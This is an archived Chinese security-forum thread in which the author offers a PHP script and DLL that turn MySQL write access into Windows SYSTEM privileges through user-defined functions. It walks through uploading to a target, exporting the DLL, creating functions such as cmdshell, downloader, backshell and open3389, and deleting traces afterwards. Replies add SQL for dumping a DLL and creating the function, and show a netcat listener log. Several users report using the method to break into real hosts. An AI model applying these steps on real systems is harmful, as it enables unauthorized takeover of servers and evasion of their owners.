邪恶八进制信息安全团队技术讨论组's Archiver

langouster 2006-10-22 12:16

[原创]将MYSQL读写权限转化为系统system权限

文章作者:langouster
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

先前我在八进制发布了一个用于MYSQL提权的UDF,不过好像不少朋友不是很明白它的使用,不断有人问我它的使用方法,有人干脆叫我写个此UDF的专用PHP。说实话在我写这个PHP之前就只学过点ASP,对PHP那是一窍不通,所以程序中不妥之处在所难免,高手不要见笑。PHP写的比较笨,这里就不讲它怎么写的了,直接讲它的使用。

一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。

二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

三、使用帮助:
  第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。
[attach]9741[/attach]
  第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。
[attach]9742[/attach]
  第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行,否则你将会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。
[attach]9743[/attach]
  第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。
[attach]9744[/attach]
  第五步:使用完成后你可能需要删除在第二步中导出的DLL,但在删除DLL前请先删除你在第三步中创建的函数,否则删除操作将失败,删除第三步中创建的函数的SQL语句为:drop function 创建的函数名。
[attach]9745[/attach]
四、功能函数说明:
  cmdshell 执行cmd;
  downloader 下载者,到网上下载指定文件并保存到指定目录;
  open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
  backshell 反弹Shell;
  ProcessView 枚举系统进程;
  KillProcess 终止指定进程;
  regread 读注册表;
  regwrite 写注册表;
  shut 关机,注销,重启;
  about 说明与帮助函数;

我非我 2006-10-22 12:33

既然都这么说了:
[quote]2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。[/quote]

那么这个题目貌似有些许误导吧?
[quote]有MYSQL账号就有system权限[/quote]

pub!1c 2006-10-22 12:42

[code]set @a = concat('',code);

use mysql;
create table shell(data LONGBLOB);
insert into shell values("");
update shell set data = @a;
select data from shell into DUMPFILE 'c:\\shell.dll';
drop table shell;
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'c:\\shell.dll'; [/code]


图3 的 CREATE FUNCTION 路径应该加双\的吧??

标题改成 Mysql for Win MYSQL账号有数据操作权限就有system权限. 要好点.
使用UDF功能, 数据库用户必须有对mysql.func 表的 insert, update 的权限.
其实也就是要有数据库的root权限.

风蓝 2006-10-22 12:44

楼主的文章名让我吓了一大跳~

langouster 2006-10-22 12:52

这个UDF和MIX.DLL是一个性质的,不过导出的函数要多不少。还有一个很关键的不可,MIx.dll连上后会造成MYSQL的假死,而这个程序它的每一个函数都经过仔细测试,不太可能会有这种问题。


[quote]图3 的 CREATE FUNCTION 路径应该加双\的吧?? [/quote]
本来是一定要用"\\"的,不过好像有不少人容易忘,所以我在PHP文件中处理了一下"\" 和"\\"都可以。

《有MYSQL账号就有system权限》这个题目有这么误导吗?我还是改一下吧。。

流转 2006-10-22 12:52

个人感觉应该这么写
利用MYSQL数据库连接账号提升系统权限

寂寞宝贝 2006-10-22 14:40

总结下!我来个题目,叫 利用mysql得到系统权限新法!

PS:楼主说功能增加不少!汗!我怎么对比了N次后发现,功能没有改变!

hehe765 2006-10-22 14:41

测试时发生下面错误!
Fatal error: Maximum execution time of 30 seconds exceeded in C:\AppServ\www\udf.php on line 91

寂寞宝贝 2006-10-22 14:44

楼上的,,路径要写双杠 \\!

langouster 2006-10-22 14:57

[quote][b]这里是引用第[/b][color=#ff0000][6 楼][/color][b]的[color=#000066]寂寞宝贝[/color]于[/b]2006-10-22 14:40[b]发表的:[/b]

PS:楼主说功能增加不少!汗!我怎么对比了N次后发现,功能没有改变![/quote]

请先看清是哪个跟哪个比。

hehe765 2006-10-22 16:07

3389 开不了
select open3389('3389')
语法没错吧!
顺求
其他函数的使用方法!

优格 2006-10-22 16:26

我记得Super·Hei好象也写过一个差不多的

better0332 2006-10-22 22:41

我执行了:Create Function returns string soname 'udf.dll'时

数据库查讯出错,请检查SQL语句Create Function returns string soname 'udf.dll'的语法是否正确。You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'string soname 'udf.dll'' at line 1

编程king 2006-10-25 02:01

看了楼主的文章后,我拿了台服务器来做实验,mysql的权限是root用户连接的,mysql的版本是5.0的,那就是要说把udf.dll导出到系统目录下了,因为mysql是5.0版的,第一步要:c:\\windows\\udf.dll或者c:\\windows\\system32\\udf.ll这样哪?再或者c:\\windows、c:\\windows\\system32 ,我这样尝试的时候是都成功了,但是到了第二步,却出现搂主说的No paths allowed for shared library,再导出到系统目录里的时候已经错误了,本身已经有过了,我又尝试把udf.dll改成别的dll文件,还是不行,这里我就不明白了,
windows和system32的目录下都有udf.dll这个文件,为什么还是错误?是因为第一次导出的时候错误了?还是格式不对?或者是我人品有问题?等待楼主的解答。。。。。 [s:57]

qq998 2006-10-25 10:20

好像不行阿,导出DLL文件出错:Access denied for user: 'sq_test@%' (Using password: YES)
mysql 4.0,不知道是不是没有(insert和delete权限)!??? [s:35]

langouster 2006-10-25 20:06

[quote][b]引用第13楼[i]编程king[/i]于[i]2006-10-25 02:01[/i]发表的[/b]:
看了楼主的文章后,我拿了台服务器来做实验,mysql的权限是root用户连接的,mysql的版本是5.0的,那就是要说把udf.dll导出到系统目录下了,因为mysql是5.0版的,第一步要:c:\windows\udf.dll或者c:\windows\system32\udf.ll这样哪?再或者c:\windows、c:\windows\system32 ,我这样尝试的时候是都成功了,但是到了第二步,却出现搂主说的No paths allowed for shared library,再导出到系统目录里的时候已经错误了,本身已经有过了,我又尝试把udf.dll改成别的dll文件,还是不行,这里我就不明白了,
windows和system32的目录下都有udf.dll这个文件,为什么还是错误?是因为第一次导出的时候错误了?还是格式不对?或者是我人品有问题?等待楼主的解答。。。。。 [s:57][/quote]

[color=skyblue]哈哈,可能我写的不足够明白:“如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径而使命令正常执行”

你只要导出一次,比如你已经导到了c:\windows目录。你就可以执行Create function cmdshell returns string soname 'udf.dll';

后面的DLL就不用带路径了,导到系统目录就是会了可以让程序不带路径就能找到udf.dll。[/color]

[quote]我执行了:Create Function returns string soname 'udf.dll'时 数据库查讯出错,请检查SQL语句Create Function returns string soname 'udf.dll'的语法是否正确。You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'string soname 'udf.dll'' at line 1[/quote]
[color=skyblue]兄弟忘了写函数名:你可以试试:Create Function cmdshell returns string soname 'udf.dll';[/color]

[quote]3389 开不了 select open3389('3389') 语法没错吧! 顺求 其他函数的使用方法![/quote]
[color=skyblue]程序中用到了一个通用开3389程序组件,而这个程序是我从网上下载的,再做了一下免杀处理而已,对这个开3389程序本身我也不是很清楚,不过我试了好几个版本的虚拟机,觉得成功率是我能下到的此类程序中最好的,就把它作为一个资源导入到了我的DLL中,对你这个问题我也不知道什么原因,如果朋友有更好的开3389程序,我可以改进一下。[/color]

[quote]测试时发生下面错误! Fatal error: Maximum execution time of 30 seconds exceeded in C:AppServwwwudf.php on line 91[/quote]
[color=skyblue]排除服务器的性能问题外,可能是服务器上杀毒软件的原因。[/color]

better0332 2006-10-25 22:54

在导出dll是一定要用\\吧!

fhod 2006-10-26 00:12

楼主
我建议你还是做个动画出来看下
详细的介绍下使用方法
你看都很多人测试不成功了.

r0tten 2006-10-26 18:56

[url]http://wg.shangdu.com/images/sound/mysql.avi[/url] [s:64]

julang3 2006-10-28 00:14

好像不用这么麻烦吧,在WINDOWS下直接利用MYSQL以SYSTEM用户读写文件的特点,写一个自启动文件或是组策略文件就能达到目的了;
    楼主的方法实现了直接执行命令,确实方便了不少.

hack520 2006-11-20 02:59

[s:36] 导DLL的时候提示数据库连结失败,请检查账号信息。Access denied for user: 'ODBC@localhost' (Using password: NO),铞明明登陆的了

pub!1c 2006-11-20 09:04

[quote][b]引用第20楼[i]hack520[/i]于[i]2006-11-20 02:59[/i]发表的[/b]:
[s:36] 导DLL的时候提示数据库连结失败,请检查账号信息。Access denied for user: 'ODBC@localhost' (Using password: NO),铞明明登陆的了[/quote]

权限问题撒~~  再不人品问题也行!  [s:67]

hack520 2006-11-20 16:48

[s:35] 用J心那个mysqlrootkit.php又不会,铞B

sunyy 2006-11-28 08:16

用剑心那个没事!
换成楼主的测试一下导出出现!
Can't create/write to file 'F:\freehost\rzchs\web\bbs2\udf.dll' (Errcode: 13)

唐不狐 2006-12-9 12:31

呵呵,我可以告诉楼主,最近的一次渗透中,用楼主的这个脚本顺利拿到3389权限。
我之前也用剑心的那个试过,没有成功。

还有一种可能是会造成失败的。mysql服务非system权限启动

真的爱你 2007-1-20 16:41

做个动画吧~看到很多人都测试未通过,哪位哥们放个动画上来.

神無月 2007-1-21 16:21

我也导出失败
WIN2003
Access denied for user: 'ODBC@localhost' (Using password: YES)
我的是YES  跟猪三的不一样。 什么JB回事

bugx 2007-2-8 23:49

此账号必须有对mysql的insert和delete权限以创建和抛弃函数
这句要解释到底能到一个怎么样的权限?

langouster 2007-2-12 15:16

[quote][b]引用第27楼[i]bugx[/i]于[i]2007-02-08 23:49[/i]发表的[/b]:
此账号必须有对mysql的insert和delete权限以创建和抛弃函数
这句要解释到底能到一个怎么样的权限?[/quote]

就是你在mysql库中要有插入元组的权限才能创建函数,创建了函数就能做事了,要还有删除元组的权限你就能完事后擦屁股走人。

ddy2003 2007-3-27 20:53

*** 作者被禁止或删除 内容自动屏蔽 ***

langouster 2007-3-29 12:56

[quote]引用第29楼ddy2003于2007-03-27 20:53发表的 :
多谢楼主,成功利用此法拿到一台主机系统权限
[s:263][s:263][/quote]

看到有人成功了,很欣慰.
不过也有不少人不成功,我猜测是因为PHP编写的问题(在这之前我都没学过PHP),至少DLL是经过很多测试的,问题可能就出在PHP文件里的SESSION编写,致使第二步就记不得MYSQL的账号了.
要是有人懂得PHP,希望有人能将PHP文件改写下.

tj646 2007-4-7 18:39

导出成功,第三步时出错了.
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'D:\\mysql\\data\\udf.dll';的语法是否正确。No paths allowed for shared library

请问是怎么回事? [s:289]

sfy2003 2007-4-9 07:58

cmdshell('net user')  

Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell
  
-----------------------------------

sfy2003 2007-4-9 08:13

F:\dos>nc -vv -l -p 7758
listening on [any] 7758 ...
225.91.6.58: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [0.0.0.0] from (UNKNOWN) [225.91.6.58] 3695: NO_DATA
sent 0, rcvd 0

feng0223 2007-4-21 23:22

前面三步都顺利,但到了第四步时的情况却是:等很长时间后来个网页无法显示
但是打开那个网页正常,为什么

foxbase 2007-4-23 18:42

导出成功,第三步时出错了.
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'D:\\mysql\\data\\udf.dll';的语法是否正确。No paths allowed for shared library

我也出这样的错误,楼主上哪去了来看看怎么回事嘛

langouster 2007-4-28 12:52

[quote]引用第35楼foxbase于2007-04-23 18:42发表的 :
导出成功,第三步时出错了.
数据库查讯出错,请检查SQL语句Create Function cmdshell returns string soname 'D:\mysql\data\udf.dll';的语法是否正确。No paths allowed for shared library

我也出这样的错误,楼主上哪去了来看看怎么回事嘛[/quote]

不好意思,有些日子没过来这里看看了。

你的MYSQL应该是5.0以上版本的,我在说明中也说了,对5。0以上版本你应该把DLL导出到Windows或System32目录,然后把“Create Function cmdshell returns string soname 'D:\mysql\data\udf.dll' ” 改成Create Function cmdshell returns string soname 'udf.dll' 。原因这在说明中也说了,因为5.0以上版本的MYSQL为了安全,不允许在此soname中加路径。

jwio2 2007-4-30 17:26

mysql> select version();
+-----------+
| version() |
+-----------+
| 4.0.18-nt |
+-----------+
1 row in set (0.03 sec)

mysql> create function my_udfdoor returns string soname 'C:\\Windows\\udf.dll';
ERROR 1127 (00000): Can't find function 'my_udfdoor' in library'


试过mix.dll成功了,但udf.dll 老出现这错误,望指教。

86669833 2007-5-19 02:47

OK成功了.

lvhuana 2007-8-18 16:05

楼主能写个asp的不能。
asp环境的也不少。

haha879 2007-9-2 10:45

刚刚测试成功,好东西啊,不过说明再详细点就好了,我就转了不少的弯才成功的

netxfly 2007-9-2 11:10

[quote]引用第27楼bugx于2007-02-08 23:49发表的 :
此账号必须有对mysql的insert和delete权限以创建和抛弃函数
这句要解释到底能到一个怎么样的权限?[/quote]

有对mysql.func表insert和delete的权限就行了.

mysql> use mysql;
Database changed
mysql> select * from func;
+----------+-----+---------+----------+
| name   | ret | dl   | type   |
+----------+-----+---------+----------+
| cmdshell |  0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql>

zlty 2007-9-2 13:08

unix 下的udf有吗?

追寻 2007-9-4 09:18

总的说要有ROOT权限.要有insert和delete才可以的嘛

windingirl 2007-9-4 12:48

大家都在这讨论入侵
请允许我弱弱的问一句
有什么办法可以防这个入侵方法吗?
服务器昨天晚上被日了  正是在windows目录下找到udf.dll文件.........

有什么办法可以防止吗?

追寻 2007-9-4 13:22

设置MYSQL帐号在USER权限下。

r0tten 2007-9-5 00:35

[quote]引用第42楼zlty于2007-09-02 13:08发表的 :
unix 下的udf有吗?[/quote]

[url]http://www.0xdeadbeef.info/exploits/raptor_udf.c[/url]

wind4 2007-9-12 14:44

一定要用双杠\\

武夫 2007-9-19 12:55

本地测试通过不了

nixilin 2007-9-29 19:27

偶在渗透内网的时候,create function是成功了,但是运行cmd的时候 却出现了这么个问题。
我运行的是 select cmdshell('ipconfig /all');
回显的:
cmdshell('ipconfig /all')  

wmic:root\cli>
--------------------------------------------完成!
  
-----------------------------------

= 说 运行不了cmd命令了。
我用剑心的mysqlrookit  虽然运行不了cmd 但是 可以传文件,读取文件。 [s:270]
问题到底出现在哪里? 麻烦楼主帮忙解答一下

页: [1] 2
© 1999-2008 EvilOctal Security Team